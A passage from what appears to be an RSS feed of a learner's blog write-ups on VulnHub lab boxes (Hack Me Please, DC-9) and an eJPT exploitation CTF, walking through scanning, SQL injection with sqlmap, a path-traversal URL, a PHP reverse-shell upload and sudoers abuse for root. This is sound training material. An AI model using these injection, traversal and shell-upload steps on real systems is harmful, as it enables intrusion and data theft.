src="https://cdn-images-1.medium.com/max/1024/1*8iiIx0lHUS543JBeyIr6lA.png" /><figcaption>FINALLY!!!!!!!!!!!!!!</figcaption></figure><p>That’s it for this box, LinPEAS was the MVP for this box I’d say, listing cronjobs doesn’t show that (or maybe it can manually be done, but LinPEAS do make our lives easier), t<strong>he attack path was easy on my head, then when I’m actually doing it I keep stumbling</strong>, <strong>getting frustrated and stuff</strong>. But in the end we did got root, and we learn some new things everyday.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e252321efe0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: Hack Me Please]]></title>
            <link>https://medium.com/@psalmendozo09/vulnhub-hack-me-please-4f6eaab695cd?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f6eaab695cd</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Thu, 28 Aug 2025 06:59:59 GMT</pubDate>
            <atom:updated>2025-08-28T06:59:59.970Z</atom:updated>
            <content:encoded><![CDATA[<p>PWK v2 List curated by Tj Null, Abatchy, Cola</p><p>Vulnhub: Hack Me Please</p><p>I will be going through this box, the only goal is to get root as per the box description.</p><p>We’ll start host discovery by checking our IP, and running an ICMP sweep on our subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oj1G6rrWd6wZp46ClsyZLw.png" /><figcaption>We’ll map our target IP into our /etc/hosts file.</figcaption></figure><p>Moving on to the next step, port scanning and version detection.</p><p>Command: nmap -sV -sC -T4 hackmeplease.local -vv -oA nmap/hackmeplease</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*stKM9s9r85La0SbHDtSUaQ.png" /><figcaption>So, we have port 80 open with a MySQL server on 3306, and our target is running Ubuntu.</figcaption></figure><p>Enumeration:</p><p>Web Server Version: Apache/2.4.41 (Ubuntu)</p><p>HTTP Headers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2f4956NX1O0sfYH-8d19A.png" /><figcaption>Command: curl -I -X <a href="http://hackmeplease.local/">http://hackmeplease.local</a></figcaption></figure><p><strong>Common directories:</strong></p><p>/robots.txt: No</p><p>/sitemap.xml: No</p><p>Directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PZdM00oxM0Y6oXBOI3iig.png" /><figcaption>ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u <a href="http://hackmeplease.local/FUZZ">http://hackmeplease.local/FUZZ</a> -recursion -recursion-depth 2 -o directories.txt</figcaption></figure><p>Formatting:</p><p>cat directories.txt | jq -r ‘.results[] | select(.status==301) | .redirectlocation’ | sed ‘s/http:\/\/hackmeplease.local \///g’ | sed ‘s/\///g’ &gt; final_directories.txt</p><p>Files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFuiM1csFtTQCp8jAOww1Q.png" /><figcaption>ffuf -w final_directories.txt:FUZZ1 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt:FUZZ2 -u <a href="http://hackmeplease.local/FUZZ1/FUZZ2">http://hackmeplease.local/FUZZ1/FUZZ2</a> -c</figcaption></figure><p>Formatting:</p><p>cat files.txt | jq -r ‘.results[] | “\(.input.FUZZ1)/\(.input.FUZZ2)”’ &gt;&gt; final_files.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ap1mBJAjjY7eZj8ol5xyZw.png" /><figcaption>Files and Directories juice</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ns5ABg75Bt63MiXLiFcXJA.png" /><figcaption>Nikto</figcaption></figure><p>Exploitation:</p><p>Let’s check the enumerated directories/files in our browser.</p><p>We’re getting 403 Forbidden upon trying to access these directories</p><p>Going to inspect the pages one by one and see if anything sticks out.</p><p>Some files are accessible upon inspecting page source</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W3PSZfd2qZhLXyx9rUdXfw.png" /><figcaption>This one sticks out.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--onIfFKFtoCe1DSnZZv8w.png" /><figcaption>It requires login though, let’s just check now if this seeddms version is vulnerable to anything</figcaption></figure><p>There’s some exploit but nothing for this particular version.</p><p>Tried admin:admin / admin:password / root:root / root:password, can’t access.</p><p><a href="https://www.seeddms.org/posts/folder_structure/">https://www.seeddms.org/posts/folder_structure/</a></p><p>I tried accessing these files and I still get 403s, the machine clearly says no brute force is necessary, it’s been hours, I’ll be taking a break and maybe I’ll find some answers.</p><p>Resting for today, maybe I’ll get ideas tomorrow.</p><p>— Next day</p><p>Asked Gemini for the specific version folders/files, found this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1l0HBmGziWxClWt2B4yWMw.png" /><figcaption>Would check again to see if anything can be opened without 403, I think it’s worth checking since some of the /js files were 403 and some aren’t, and if nothing works then I think it’s time for a walkthrough.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cD9LRX4rNgv_b7JVIzlRZg.png" /><figcaption>You are kidding me, I would’ve gotten this yesterday if I looked at the specific version folders/files instead of on the official website.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kGbsAmKVzlojnzaY99d2Lg.png" /><figcaption>Upon checking the xml file I found this, I’ll save this cred for now and search for more.</figcaption></figure><p>Getting impatient, I’ll just try to use this on mysql.</p><p>— 3306/mysql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XD-ovoWjpxKZxr3SXnlbNw.png" /><figcaption>Getting errors at first, adding — skip-ssl fixed it.</figcaption></figure><p>Navigating through the database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXpuXu6W4SjWTdQA_1k_Tw.png" /><figcaption>Credentials, more credentials.</figcaption></figure><p>Now I kinda need to figure out which one to use here in the seeddms login portal cause there are 2 tables and one doesn’t have username. I’ll try to crackstation this admin pwd.</p><p>No online tools works, and I’m too lazy to crack hashes so I’ll just change the password ¯\_(ツ)_/¯</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1JU4tB6bqsK9TNbADzbASw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkKJboTIu3DRd8vwBi9NbQ.png" /><figcaption>A few syntax errors here and there but we get it done.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lzVDzPlFYcLQHTF494qqVQ.png" /><figcaption>Worked, finally we’re getting somewhere.</figcaption></figure><p>What stick outs here for me is the add document, might be able to get a revshell with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpNFc_r-1Htd4uDhTlQFew.png" /><figcaption>Uploaded a test file and made a test folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*scqdntGZl7usPjn1XFcSVg.png" /><figcaption>Uploaded a test file and made a test folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CuXhHMJssESjEP57BuStOQ.png" /><figcaption>This is what it looks like when clicking the contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgE5O4RCW5MqJ_YlBhbcFQ.png" /><figcaption>We would replace $shell with ‘cmd.exe’ if this was a Windows machine, and I used php because we know the webapp runs php.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSCtFof8Rd-mH3zroiev0w.png" /><figcaption>Uploaded the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlMqa9p-pG_NQ3zuMOSwug.png" /><figcaption>Setup listener</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPhbFawoRXOG47-09X9GJA.png" /><figcaption>We actually can’t open the file since it goes straight to downloads. Lmao</figcaption></figure><p>I remember when searching for the initial vulnerability that there’s an RCE for uploaded files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LrsiZoE4IU6JSnmGzM7S7Q.png" /><figcaption>Just need to find my reverse shell I guess?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MO6it8Hkirga3KkRvaQeeg.png" /><figcaption>I’ve tried most things, then I realized I’m not inside the /seeddms51x directory, which if we go back to the files/folder structure has a built in data folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6zH-CcgIkNBpUEdQXmbGw.png" /><figcaption>Not found again, I’ll just upload a new one, I’ve also tested /4/test.txt and it doesn’t work</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqpHx0qIViO8mITFffSVkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ey8fm9MjRv9mT2UzU-v5Rg.png" /></figure><p>Going to try this again…</p><p>Tried to make 1.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xJqYQMVCXZIBqicJnFf8wA.png" /><figcaption>Still returning 404…</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDFrTY640kaVovaYPzGs7g.png" /><figcaption>In the settings.xml, it does say that /seeddms51x/data/ is where uploads go.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87Bh-M0BtQyo5x3nNi_PSw.png" /><figcaption>Wow, it suddenly worked. Why?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Euf7REl6mVq0kAnDphH9pA.png" /><figcaption>Finally going somewhere</figcaption></figure><p>I really didn’t know what happened, but this is what went wrong:</p><p><strong>Attempt 1: </strong>&lt;HOST&gt;/data/1048756/6/notsuspicious.php<strong> (No /seeddms51x, notsuspicious.php should be [version number].extension, aka 1.php)</strong></p><p><strong>Attempt 2: </strong>&lt;HOST&gt;/seeddms51x/data/1048756/6/notsuspicious.php <strong>(notsuspicious.php should be 1.php)</strong></p><p><strong>Attempt 3: </strong>&lt;HOST&gt;/seeddms51x/seeddms-5.1.22/data/1048756/6/notsuspicious.php (should only be in /seeddms51x)</p><p>Tilted into oblivion, and trying every complicated way when the solution was just simple, <strong>READ</strong>. Lesson learned I guess.</p><p>Now let’s upgrade the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OzMx46Bczq9JHx_HjM2IHQ.png" /><figcaption>/bin/bash -i works I guess</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0IZOprqTOnV8qFtr_f1Sw.png" /><figcaption>saket user (which we enumerated and have creds for) exists.</figcaption></figure><p>We’ll try to su to saket so we can run privesc checks like sudo -l / SUID binaries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTtidr4jSu20UihIjTbqgQ.png" /></figure><p>Okay, sudo -l still doesn’t work, ayy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrz9sHj-zpZoz5MP7K9g8Q.png" /><figcaption>find / -perm -4000 2&gt;/dev/null</figcaption></figure><p>Lots of results, checking GTFObins. Found nothing.</p><p>I really need to check sudo -l. Checking my notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nN7MBj7FQnDEv4qytrSKvg.png" /><figcaption>Oh wow, just went ahead straight to root…</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zzGfbfb1qTHDv6Jl0iPEzQ.png" /></figure><p>That’s it for this machine. Really took 2 days to crack this. So much failed attempts, I guess it’s part of the learning process. Hopefully I’ll do better on the next ones (as this was categorized as Difficulty: Easy 😟)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f6eaab695cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: DC 9 Writeup]]></title>
            <link>https://medium.com/@psalmendozo09/vulnhub-dc-9-writeup-144fa038024a?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/144fa038024a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 12:10:13 GMT</pubDate>
            <atom:updated>2025-08-26T12:10:13.502Z</atom:updated>
            <content:encoded><![CDATA[<p>PWK v2 List — Curated by Tj Null, Abatchy, Cola</p><p>Vulnhub: DC 9: <a href="https://www.vulnhub.com/entry/dc-9,412/">https://www.vulnhub.com/entry/dc-9,412/</a></p><p>Introduction: I’m Psalm, I just passed the eJPT certification exam on August 25, 2025. I’ve decided I’ll go through the whole PWK v2 List to get more knowledge about the stuff I don’t know/know.</p><p>I’ll be doing write-ups for everything (hopefully). Let’s get started!</p><p>I’ll be following the methodology I learned, so this will be divided into phases.</p><p>— <strong>Phase 1: Information Gathering</strong></p><ul><li>Host Discovery:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*qtqidju1VrSt3Pg42t8gSA.png" /><figcaption>netdiscover -r 192.168.0.0/24 (Discover hosts on our subnet, since we know it’s in our subnet upon the machine installation)</figcaption></figure><p>Mapping target onto our /etc/hosts file:</p><p>nano /etc/hosts</p><p>192.168.0.106 dc-9.local</p><ul><li>Portscan / Version Detection:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*KRKj4ghTS14fsr11rqmlCg.png" /><figcaption>Seems like 22 is filtered, and we got a web app on our hand.</figcaption></figure><p>Let’s proceed to the web app first.</p><p><strong>— Phase 2: Enumeration</strong></p><p>Port 80/http</p><p><strong>Web Server Version:</strong> Apache httpd 2.4.38</p><p><strong>HTTP Headers:</strong></p><p>HTTP/1.1 200 OK</p><p>Date: Tue, 26 Aug 2025 09:13:37 GMT</p><p>Server: Apache/2.4.38 (Debian)</p><p>Content-Type: text/html; charset=UTF-8</p><p><strong>Common directories:</strong></p><p>/robots.txt: No</p><p>/sitemap.xml: No</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*QppuSzjcYbNOB2sajPA82w.png" /><figcaption>Directories</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*Zlf20b1U2iZcAlkvgadiHw.png" /><figcaption>Files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*FnjN0E441knNNStKB0QkiA.png" /><figcaption>Nikto Scan /config.php, and /includes (file upload?)</figcaption></figure><p>Now let’s check the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*j2Z1OC95Nx9UnHmTs5F-gw.png" /><figcaption>Nothing much going on, but looking at these tabs, there’s home, display all records, search, and manage</figcaption></figure><p>We’ll dive in first on the files we enumerated.</p><p><strong>— Phase 3: Exploitation</strong></p><p>/config.php contains nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*ozmPsTkEx7o3Wjdnwf183w.png" /><figcaption>/includes /css does not allow PUT</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*bITPCdd6JFjWLtkU9X1Yeg.png" /></figure><p>Looking from here, this display all records seems like it’s executing an SQL command like</p><p>SELECT * FROM db.users;</p><p>In /results.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*Pi3c46CaSTsbaVDepTEQKQ.png" /><figcaption>SELECT * from db.users WHERE first_name OR last_name = ‘mary’;</figcaption></figure><p>In /manage.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*X0rCFluetWIu9BN1RNvSzg.png" /><figcaption>A login form. Tried admin:admin / admin:password and nope.</figcaption></figure><p>Looking at these, maybe I’ll try to get some SQLi in these fields. The pages look static, and I’ve tried to &lt;script&gt;alert(‘s’)&lt;/script&gt; and no XSS.</p><p><a href="https://github.com/payloadbox/sql-injection-payload-list">GitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload List</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*diKKJ-p5sMCdaBVfZWL6oQ.png" /><figcaption>I fed the idea of visualizing how the display all records/search queries into database to Gemini, and look</figcaption></figure><p>Seems like ‘ OR 1=1 — works.</p><p>The thing we got here is, it’s vulnerable to SQLi, which means we can use SQLMap</p><p><strong>Using SQLMap:</strong></p><p>Intercept search request with Burpsuite</p><p>Save results in search.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*jr0793kANJ2haHyGwZvSuw.png" /><figcaption>search.txt</figcaption></figure><p><strong>We’ll run these commands, the description of what it does will be on the caption.</strong></p><p>Command: sqlmap -r search.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*V89RDMnWItD9gt30t0fNtQ.png" /><figcaption>Enumerate vulnerabilities, we can see here that SQLMap enumerated 3, boolean-based, time-based, and UNION.</figcaption></figure><p>Command: sqlmap -r search.txt — tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*uybuYZtp4IeFtIHUP5m7dQ.png" /><figcaption>Enumerating tables</figcaption></figure><p>Command: sqlmap -r search.txt — schema — batch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*RUU-_LLs1veWRV1aNfTKhg.png" /><figcaption>Enumerating Schema</figcaption></figure><p><strong>Dumping data:</strong></p><p>sqlmap -r search.txt — dump -D &lt;database&gt; -T &lt;table&gt; — batch</p><p>sqlmap -r search.txt — dump -D &lt;database&gt; -T &lt;table&gt; -C &lt;column&gt; — batch</p><p><strong>Formatting dumps so if it’s a big number like 50k we can just easily get what we want:</strong></p><p>cut -d’|’ -f2 &lt;file&gt; | sed ‘s/^:space:*//;s/:space:*$//’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*1AtQ58vO99wg7CjWHSb1YA.png" /></figure><p><strong>What we got:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*eRQxFGA8oUr7kTx3-B1Zlw.png" /><figcaption>Hashed admin password, cleartext user passwords, and usernames.</figcaption></figure><p><strong>Cracking admin password:</strong></p><p><a href="https://crackstation.net/">CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*6DsMS_DHIE43K8rG4Bk10A.png" /><figcaption>Worked, I would’ve tried to hashcat/john but I guess this one worked like a charm.</figcaption></figure><p><strong>Now we have credentials, let’s move on to phase 4.</strong></p><p><strong>— Phase 4: Post-Exploitation</strong></p><p>We now have creds, and as you remember there’s a login page at manage, we’ll check that first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*m-x4j2oMsq42O_D5TEGp4Q.png" /><figcaption>‘File does not exist’? We’re not even requesting for a file.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*BwElzUFG64KccRP9bjDgog.png" /><figcaption>Seems like LFI works.</figcaption></figure><p>But how can we leverage this? We know there’s an SSH port open, and looking at the /etc/passwd file, there’s no admin user here.</p><p>We’ll try to brute force our way in with the users.txt and passwords.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*X8Iw3O1SCnpNjJtSkY3EVg.png" /><figcaption>Connection refused, going to search the interwebs…</figcaption></figure><p>Google queries:</p><p>ssh port filtered</p><p>ssh port filtered ufw file location</p><p><a href="http://dc-9.local/welcome.php?file=../../../../../../etc/ufw/*.rules">http://dc-9.local/welcome.php?file=../../../../../../etc/ufw/*.rules</a></p><p>etc/ufw/*.rules</p><p>/var/log/ufw.log</p><p>/etc/default/ufw</p><p>securing ssh</p><p>Most results just tells us how to open that port, nothing really helps.</p><p>/etc/ssh/sshd_config looks promising</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*db3b02dohqDNMVAy5_vMFQ.png" /><figcaption>None of these keys exists. So again, this doesn’t help our case.</figcaption></figure><p><a href="https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html">22 - Pentesting SSH/SFTP</a></p><p>Nope, nothing again. It’s been hours at this point and I’ve expended every avenue I know, I guess it’s a case of <em>‘you don’t know what you don’t know’. </em>I think it’s<em> </em>fair game to look at a walkthrough, <a href="https://www.youtube.com/watch?v=_Aa8125CQ0g">VulnHub — DC-9</a> by IppSec</p><p><strong>What I got from the walkthrough:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*-5QVXC6k6mOcHUzfHjMuMA.png" /></figure><p>So upon opening /etc/knockd.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*6twDaz6WJiGo_rvRVFdBrA.png" /></figure><p>We just need to knock on those openSSH sequence to open the SSH port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*L-ObGKaoq_ECRD0oXupysg.png" /><figcaption>Bash Script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*XyI3Jy8mq45gnC9AfyoEpw.png" /><figcaption>Upon knocking on these ports, we’ll see that it’s now open instead of filtered, we can now try to brute force our way in with the creds we got.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*wO-I3N7uPqbXMTQFHKJLhg.png" /><figcaption>Brute Forcing, we found 3 credentials!</figcaption></figure><p>We’re going to ssh into each one of them and run these commands:</p><p>ls -al, check directories/files</p><p>sudo -l</p><p>find / -perm -4000 2&gt;/dev/null (SUID)</p><p>Found nothing on chandlerb.</p><p>Found nothing on joeyt.</p><p><strong>Found something on janitor</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*jDZEWpyJjcuZYaJJZi9j_g.png" /><figcaption>We’ll save this and try these match these passwords on our users.txt file dump.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*X3cl6Kv2BioaBBb2qYDgzQ.png" /><figcaption>New credentials found, fredf:B4-Tru3–001</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*SsqGnMNeoXtlvNQ2wPkB-w.png" /><figcaption>Seems like this one allows us to run sudo without password. Let’s see what it does.</figcaption></figure><p>fredf@dc-9:/opt/devstuff/dist/test$ ./test</p><p>Usage: python test.py read append</p><p>Let’s find this test.py</p><p>fredf@dc-9:/opt/devstuff/dist/test$ find / -name “test.py” -type f 2&gt;/dev/null</p><p>/opt/devstuff/test.py</p><p>/usr/lib/python3/dist-packages/setuptools/command/test.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*5pa-gvIlem2HTOsVwIO77A.png" /><figcaption>So it reads arg1, then appends it to arg2.</figcaption></figure><p>There’s alot we can do here at this point.</p><ol><li>We can read /etc/shadow and append it to some file, get /etc/passwd and crack root password.</li><li>We can add ourselves to sudoers group to get root</li><li>We can add another root user and ssh with that credential as root.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*wPDbEE9BWkthua7EXbAKSA.png" /><figcaption>Uses SHA-512, would take a while to crack</figcaption></figure><p>Let’s try #2, adding ourselves to sudoers group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*f7yJ8K6EWhNkGa0cTmR7NA.png" /><figcaption>We’ll add fredf ALL=(ALL:ALL) ALL</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*1mMd56l6X0k-RGhzXYu8BA.png" /><figcaption>We got root, finally, after the Nth hour!</figcaption></figure><p>That’s it for this machine. I’ve learned alot of things here, there’s alot of stuff I really did not know (First time encountering /etc/knockd.conf, this would’ve taken weeks/months to solve without looking at a walkthrough). I guess you learn something new everyday here at Offensive Security space.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=144fa038024a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: Exploitation CTF 1]]></title>
            <link>https://medium.com/@psalmendozo09/host-network-penetration-testing-exploitation-ctf-1-7124e454e5cf?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/7124e454e5cf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ejptv2]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Fri, 15 Aug 2025 07:22:51 GMT</pubDate>
            <atom:updated>2025-08-15T07:41:53.156Z</atom:updated>
            <content:encoded><![CDATA[<p><em>An interesting CTF adventure while taking the eJPT course.</em></p><p><strong>Details:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Dpcw-eaA4-xam-p1utBOQ.png" /></figure><p><strong>Preview of my notes:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDHx7isn6VhQLoam4ewIcw.png" /></figure><p><strong>Approach:</strong></p><p>I’m going to do this box by box, following the Pentesting Methodology given below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*dwXxnjqJMKMwYmh--9kMFA.png" /></figure><p><em>Let’s get started!</em></p><p><strong>— — Start of Target 1</strong></p><p><strong>PHASE 1: Recon (Information Gathering):</strong></p><p><strong>— Host Discovery</strong></p><p>Please do note we are skipping most of the <em>passive part of recon, as this is run locally.</em></p><p>Targets were already mapped out from the start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*fC8dsyeef2vKwcLKaEQC6w.png" /></figure><p>Checking if host is alive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*DFEomoPeHDzwV14z3YNIfQ.png" /></figure><p>It is indeed, alive.</p><p><strong>— Port Scanning/Service Version/OS Detection</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*8vB0hfkfJwevdFm_kJ5Kig.png" /></figure><p><strong>Findings:</strong></p><p><strong>Ports:</strong></p><p>SSH and a webserver is running on this target.</p><p><strong>Services:</strong></p><p>SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11 | Vulnerable?: No</p><p>Apache httpd 2.4.41 ((Ubuntu)) | Vulnerable?: No, Apache HTTP Server 2.4.49 — Path Traversal &amp; Remote Code Execution (RCE) only applies to 2.4.49 and 2.4.50.</p><p><strong>PHASE 2: Enumeration</strong></p><p><strong>Port: 22 (SSH)</strong></p><p>SSH Version: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11</p><p>Authorization: Username/Password</p><p>Anonymous Login?: No</p><p><strong>Port: 80 (HTTP)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*qBF0c2JrXonmwFHTITmaqQ.png" /></figure><p>Directories/Files aren’t shown as it’s a really long list, and this article would be a clusterfox.</p><p><strong>Findings:</strong> Checked most of these, nothing helps as of now. Even logging in the credentials to get admin on the CMS, no flags there. Though I think this would be <strong>REALLY </strong>impactful if we can actually do this in an actual pentest.</p><p><strong>PHASE 3: Exploitation</strong></p><p><strong>Vulnerability Assessment:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBOOmTA_45kc7kB-PFHN2g.png" /></figure><p><strong>Exploitation:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*rOPZKsUFrxt3KPGJejlV5w.png" /></figure><p><strong>PHASE 4: Post-Exploitation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjsqFvLFpdsDMpIIaVE-SQ.png" /><figcaption><em>Note: cd doesn’t work. So I just listed these directly from their respective directories.</em></figcaption></figure><p><strong>Local User Enumeration:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*jErYVAl1KlMl46NcWlJG_g.png" /><figcaption><em>“iamaweakuser” is so giving, perfectly fits clue on Flag 2.</em></figcaption></figure><p><strong>Brute Forcing, and accessing through SSH(22):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OkgMYJNU9Y_5aXR58h64ug.png" /></figure><p><strong>— — End of Target 1</strong></p><p><em>We’ll now proceed to Target 2.</em></p><p><strong>— — Start of Target 2</strong></p><p><strong>PHASE 1: Recon (Information Gathering):</strong></p><p><strong>— Host Discovery</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*6Xdc3bVz87YLkkBmraH9dg.png" /></figure><p>Target 2 is indeed, alive.</p><p><strong>— Port Scanning/Service Version/OS Detection</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GBjUweJ3CPrBJQDITiPHQ.png" /></figure><p><strong>Findings:</strong></p><p><strong>Ports:</strong></p><p>SSH and a webserver is running on this target.</p><p><strong>Services:</strong></p><p>SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11 | Vulnerable?: No</p><p>Apache httpd 2.4.41 ((Ubuntu)) | Vulnerable?: No, Apache HTTP Server 2.4.49 — Path Traversal &amp; Remote Code Execution (RCE) only applies to 2.4.49 and 2.4.50.</p><p><strong>PHASE 2: Enumeration</strong></p><p><strong>Port: 22 (SSH)</strong></p><figure><img alt="" 